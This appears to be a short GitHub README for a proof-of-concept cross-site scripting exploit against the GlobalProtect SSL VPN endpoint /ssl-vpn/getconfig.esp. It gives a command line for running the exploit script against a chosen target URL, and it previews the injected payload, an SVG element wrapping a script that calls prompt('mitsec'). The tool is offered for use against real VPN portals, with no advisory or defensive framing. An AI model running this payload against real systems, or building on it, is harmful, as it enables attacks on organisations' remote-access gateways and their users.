mitsec_vpn_xss_exploit

🔓 Exploit for GlobalProtect SSL VPN endpoint /ssl-vpn/getconfig.esp that appends a crafted XSS payload to the URL.

Usage

python3 exploit.py -u https://target.com

Parameters

• -u, --url: Base target URL (do not include query params)

Payload Preview

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Author

• GitHub: